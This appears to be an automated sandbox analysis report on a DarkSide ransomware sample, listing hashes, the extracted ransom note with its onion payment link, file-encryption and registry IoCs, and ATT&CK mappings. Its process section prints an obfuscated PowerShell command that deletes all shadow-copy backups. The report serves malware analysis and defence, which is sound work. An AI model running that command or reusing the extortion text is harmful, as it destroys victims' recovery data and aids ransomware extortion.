darkside | 0c15eaa5c8a3d2bf981ad2e5be531fe760932cb4291038051b5a308c6a66e084

General

Target

5860f2415aa9a30c045099e3071f099313f653ae1806d6bcdb5f47d5da96c6d7.exe
Size

256KB
MD5

e5ca2d127e7300f28fbeb1e74d6a6858
SHA1

d3495ac3b708caeceffab59949dbf8a9fa24ccef
SHA256

5860f2415aa9a30c045099e3071f099313f653ae1806d6bcdb5f47d5da96c6d7
SHA512

6a0ea0f30648fec076abbeec97ff3d4b55fb34d376611468e52d6b11b9aa022dfb95448c0ba21794911f8c5f6d9c14ea7d0c87ee673f8b438255942712f73838

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\\README.438d7d9f.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/GM0CG8TNZ83ZPUD15TL76BLDCG0ST24TR6NXG1J2AVXSKF8KS4KFIIN2ON5GRWD4 When you open our website, put the following data in the input form: Key: lsJTyyTnzJlGQ1I6sfwV6oVcXaRynwN6mWphA7BKXEDIHJcDlhNNHsrxlkpggRChK2nQ7wP0sknJvl37lbqElTopkUywK3QnfJFmqDBSCmFISeWSudjgwxB4kKSp7h4VySHeu4LmDiZXTAh1dbZHWxTtZ0bA6PhCoDrbGkctY4rucITW4IdYUZJC8d2B7SFnr5EA7EoRkajrZW54brM5Kgwqsz67qzH6Hk0Vr3EDcnGzNjGQBapJczIWkgPtMCJdTkeemQ34XH7wawXu3eOGV3uJlBZNoSuaxtDHMGApS8EWsUXhafMW8WxFLAPLCo6pdm7MLcLsVDp9iBXU1sLv2KkGyUJbO0KOmom9f1JREuidviHRfsndEgMFBAjyq5v4VEIraiioAbtWM7eecYaXPVt3rolsBi8mtjxLOpFj73NPPitoIDxBNfHGzXxvRTXi06Pjx9pRnAtjIqoq5wovnHa8uBel8nq8yDJTk7NWdGdsv3yVwV2TmBin7OvFqHN9lweFNJyuziKCVGEtSaglUNudMmpFnNObGlhfh58jQsrQiQZ2d3AOFsi !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidfqzcuhtk2.onion/GM0CG8TNZ83ZPUD15TL76BLDCG0ST24TR6NXG1J2AVXSKF8KS4KFIIN2ON5GRWD4

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside

Modifies extensions of user files 11 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

5860f2415aa9a30c045099e3071f099313f653ae1806d6bcdb5f47d5da96c6d7.exe

description	ioc	process
File renamed	C:\Users\Admin\Pictures\CompressJoin.tiff => C:\Users\Admin\Pictures\CompressJoin.tiff.438d7d9f	5860f2415aa9a30c045099e3071f099313f653ae1806d6bcdb5f47d5da96c6d7.exe
File renamed	C:\Users\Admin\Pictures\ExpandUnpublish.raw => C:\Users\Admin\Pictures\ExpandUnpublish.raw.438d7d9f	5860f2415aa9a30c045099e3071f099313f653ae1806d6bcdb5f47d5da96c6d7.exe
File renamed	C:\Users\Admin\Pictures\MeasureRedo.raw => C:\Users\Admin\Pictures\MeasureRedo.raw.438d7d9f	5860f2415aa9a30c045099e3071f099313f653ae1806d6bcdb5f47d5da96c6d7.exe
File opened for modification	C:\Users\Admin\Pictures\RepairExit.crw.438d7d9f	5860f2415aa9a30c045099e3071f099313f653ae1806d6bcdb5f47d5da96c6d7.exe
File renamed	C:\Users\Admin\Pictures\ResumeConvertFrom.tif => C:\Users\Admin\Pictures\ResumeConvertFrom.tif.438d7d9f	5860f2415aa9a30c045099e3071f099313f653ae1806d6bcdb5f47d5da96c6d7.exe
File opened for modification	C:\Users\Admin\Pictures\CompressJoin.tiff	5860f2415aa9a30c045099e3071f099313f653ae1806d6bcdb5f47d5da96c6d7.exe
File opened for modification	C:\Users\Admin\Pictures\CompressJoin.tiff.438d7d9f	5860f2415aa9a30c045099e3071f099313f653ae1806d6bcdb5f47d5da96c6d7.exe
File opened for modification	C:\Users\Admin\Pictures\ExpandUnpublish.raw.438d7d9f	5860f2415aa9a30c045099e3071f099313f653ae1806d6bcdb5f47d5da96c6d7.exe
File opened for modification	C:\Users\Admin\Pictures\MeasureRedo.raw.438d7d9f	5860f2415aa9a30c045099e3071f099313f653ae1806d6bcdb5f47d5da96c6d7.exe
File renamed	C:\Users\Admin\Pictures\RepairExit.crw => C:\Users\Admin\Pictures\RepairExit.crw.438d7d9f	5860f2415aa9a30c045099e3071f099313f653ae1806d6bcdb5f47d5da96c6d7.exe
File opened for modification	C:\Users\Admin\Pictures\ResumeConvertFrom.tif.438d7d9f	5860f2415aa9a30c045099e3071f099313f653ae1806d6bcdb5f47d5da96c6d7.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

5860f2415aa9a30c045099e3071f099313f653ae1806d6bcdb5f47d5da96c6d7.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\438d7d9f.BMP"	5860f2415aa9a30c045099e3071f099313f653ae1806d6bcdb5f47d5da96c6d7.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\438d7d9f.BMP"	5860f2415aa9a30c045099e3071f099313f653ae1806d6bcdb5f47d5da96c6d7.exe

Modifies Control Panel 1 IoCs

evasion

Processes:

5860f2415aa9a30c045099e3071f099313f653ae1806d6bcdb5f47d5da96c6d7.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Control Panel\Desktop\WallpaperStyle = "10"	5860f2415aa9a30c045099e3071f099313f653ae1806d6bcdb5f47d5da96c6d7.exe

Modifies registry class 5 IoCs

Processes:

5860f2415aa9a30c045099e3071f099313f653ae1806d6bcdb5f47d5da96c6d7.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.438d7d9f	5860f2415aa9a30c045099e3071f099313f653ae1806d6bcdb5f47d5da96c6d7.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.438d7d9f\ = "438d7d9f"	5860f2415aa9a30c045099e3071f099313f653ae1806d6bcdb5f47d5da96c6d7.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\438d7d9f\DefaultIcon	5860f2415aa9a30c045099e3071f099313f653ae1806d6bcdb5f47d5da96c6d7.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\438d7d9f	5860f2415aa9a30c045099e3071f099313f653ae1806d6bcdb5f47d5da96c6d7.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\438d7d9f\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\438d7d9f.ico"	5860f2415aa9a30c045099e3071f099313f653ae1806d6bcdb5f47d5da96c6d7.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exe5860f2415aa9a30c045099e3071f099313f653ae1806d6bcdb5f47d5da96c6d7.exe

pid	process
2012	powershell.exe
2012	powershell.exe
2012	powershell.exe
2704	5860f2415aa9a30c045099e3071f099313f653ae1806d6bcdb5f47d5da96c6d7.exe
2704	5860f2415aa9a30c045099e3071f099313f653ae1806d6bcdb5f47d5da96c6d7.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

Processes:

5860f2415aa9a30c045099e3071f099313f653ae1806d6bcdb5f47d5da96c6d7.exepowershell.exevssvc.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	2704	5860f2415aa9a30c045099e3071f099313f653ae1806d6bcdb5f47d5da96c6d7.exe
Token: SeSecurityPrivilege	2704	5860f2415aa9a30c045099e3071f099313f653ae1806d6bcdb5f47d5da96c6d7.exe
Token: SeTakeOwnershipPrivilege	2704	5860f2415aa9a30c045099e3071f099313f653ae1806d6bcdb5f47d5da96c6d7.exe
Token: SeLoadDriverPrivilege	2704	5860f2415aa9a30c045099e3071f099313f653ae1806d6bcdb5f47d5da96c6d7.exe
Token: SeSystemProfilePrivilege	2704	5860f2415aa9a30c045099e3071f099313f653ae1806d6bcdb5f47d5da96c6d7.exe
Token: SeSystemtimePrivilege	2704	5860f2415aa9a30c045099e3071f099313f653ae1806d6bcdb5f47d5da96c6d7.exe
Token: SeProfSingleProcessPrivilege	2704	5860f2415aa9a30c045099e3071f099313f653ae1806d6bcdb5f47d5da96c6d7.exe
Token: SeIncBasePriorityPrivilege	2704	5860f2415aa9a30c045099e3071f099313f653ae1806d6bcdb5f47d5da96c6d7.exe
Token: SeCreatePagefilePrivilege	2704	5860f2415aa9a30c045099e3071f099313f653ae1806d6bcdb5f47d5da96c6d7.exe
Token: SeBackupPrivilege	2704	5860f2415aa9a30c045099e3071f099313f653ae1806d6bcdb5f47d5da96c6d7.exe
Token: SeRestorePrivilege	2704	5860f2415aa9a30c045099e3071f099313f653ae1806d6bcdb5f47d5da96c6d7.exe
Token: SeShutdownPrivilege	2704	5860f2415aa9a30c045099e3071f099313f653ae1806d6bcdb5f47d5da96c6d7.exe
Token: SeDebugPrivilege	2704	5860f2415aa9a30c045099e3071f099313f653ae1806d6bcdb5f47d5da96c6d7.exe
Token: SeSystemEnvironmentPrivilege	2704	5860f2415aa9a30c045099e3071f099313f653ae1806d6bcdb5f47d5da96c6d7.exe
Token: SeRemoteShutdownPrivilege	2704	5860f2415aa9a30c045099e3071f099313f653ae1806d6bcdb5f47d5da96c6d7.exe
Token: SeUndockPrivilege	2704	5860f2415aa9a30c045099e3071f099313f653ae1806d6bcdb5f47d5da96c6d7.exe
Token: SeManageVolumePrivilege	2704	5860f2415aa9a30c045099e3071f099313f653ae1806d6bcdb5f47d5da96c6d7.exe
Token: 33	2704	5860f2415aa9a30c045099e3071f099313f653ae1806d6bcdb5f47d5da96c6d7.exe
Token: 34	2704	5860f2415aa9a30c045099e3071f099313f653ae1806d6bcdb5f47d5da96c6d7.exe
Token: 35	2704	5860f2415aa9a30c045099e3071f099313f653ae1806d6bcdb5f47d5da96c6d7.exe
Token: 36	2704	5860f2415aa9a30c045099e3071f099313f653ae1806d6bcdb5f47d5da96c6d7.exe
Token: SeDebugPrivilege	2012	powershell.exe
Token: SeBackupPrivilege	1256	vssvc.exe
Token: SeRestorePrivilege	1256	vssvc.exe
Token: SeAuditPrivilege	1256	vssvc.exe

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

5860f2415aa9a30c045099e3071f099313f653ae1806d6bcdb5f47d5da96c6d7.exe

description	pid	process	target process
PID 2704 wrote to memory of 2012	2704	5860f2415aa9a30c045099e3071f099313f653ae1806d6bcdb5f47d5da96c6d7.exe	powershell.exe
PID 2704 wrote to memory of 2012	2704	5860f2415aa9a30c045099e3071f099313f653ae1806d6bcdb5f47d5da96c6d7.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\5860f2415aa9a30c045099e3071f099313f653ae1806d6bcdb5f47d5da96c6d7.exe
"C:\Users\Admin\AppData\Local\Temp\5860f2415aa9a30c045099e3071f099313f653ae1806d6bcdb5f47d5da96c6d7.exe"
1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2704

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2012

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1256

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Credentials in Files

1

T1081

Discovery

Lateral Movement

Collection

Data from Local System

1

T1005

Exfiltration

Command and Control

Impact

Defacement

1

T1491

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
MD5
ea6243fdb2bfcca2211884b0a21a0afc

SHA1
2eee5232ca6acc33c3e7de03900e890f4adf0f2f

SHA256
5bc7d9831ea72687c5458cae6ae4eb7ab92975334861e08065242e689c1a1ba8

SHA512
189db6779483e5be80331b2b64e17b328ead5e750482086f3fe4baae315d47d207d88082b323a6eb777f2f47e29cac40f37dda1400462322255849cbcc973940

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
4d2785eaba9f4bf1edd64700fb871848

SHA1
d95cb161fdd4e7d4700ab7dc8da2cad5614faa79

SHA256
805b7048c72f39a3719f91e60aa01501e7155586f55a43b5dfc28bd511eba8cc

SHA512
4674f7b7a154be58c08842f337defdafab9b56b0acbd0ba9ef9b9caebcd67e437ad2011d73a8a542772298fe854660ea5ff5d8743adb9664344094d22d4dc930

Download Submit
memory/2012-128-0x0000023B212A0000-0x0000023B212A2000-memory.dmp

Filesize
8KB

Download
memory/2012-129-0x0000023B212A0000-0x0000023B212A2000-memory.dmp

Filesize
8KB

Download
memory/2012-122-0x0000000000000000-mapping.dmp

Download
memory/2012-124-0x0000023B212A0000-0x0000023B212A2000-memory.dmp

Filesize
8KB

Download
memory/2012-123-0x0000023B212A0000-0x0000023B212A2000-memory.dmp

Filesize
8KB

Download
memory/2012-125-0x0000023B212A0000-0x0000023B212A2000-memory.dmp

Filesize
8KB

Download
memory/2012-126-0x0000023B212A0000-0x0000023B212A2000-memory.dmp

Filesize
8KB

Download
memory/2012-127-0x0000023B22E50000-0x0000023B22E51000-memory.dmp

Filesize
4KB

Download
memory/2012-147-0x0000023B212A0000-0x0000023B212A2000-memory.dmp

Filesize
8KB

Download
memory/2012-142-0x0000023B21546000-0x0000023B21548000-memory.dmp

Filesize
8KB

Download
memory/2012-130-0x0000023B212A0000-0x0000023B212A2000-memory.dmp

Filesize
8KB

Download
memory/2012-131-0x0000023B3BE70000-0x0000023B3BE71000-memory.dmp

Filesize
4KB

Download
memory/2012-132-0x0000023B21540000-0x0000023B21542000-memory.dmp

Filesize
8KB

Download
memory/2012-133-0x0000023B21543000-0x0000023B21545000-memory.dmp

Filesize
8KB

Download
memory/2012-134-0x0000023B212A0000-0x0000023B212A2000-memory.dmp

Filesize
8KB

Download
memory/2704-120-0x0000000000030000-0x0000000000040000-memory.dmp

Filesize
64KB

Download
memory/2704-118-0x0000000000400000-0x000000000083B000-memory.dmp

Filesize
4.2MB

Download
memory/2704-121-0x0000000000400000-0x000000000083B000-memory.dmp

Filesize
4.2MB

Download
memory/2704-119-0x0000000000AD1000-0x0000000000ADC000-memory.dmp

Filesize
44KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads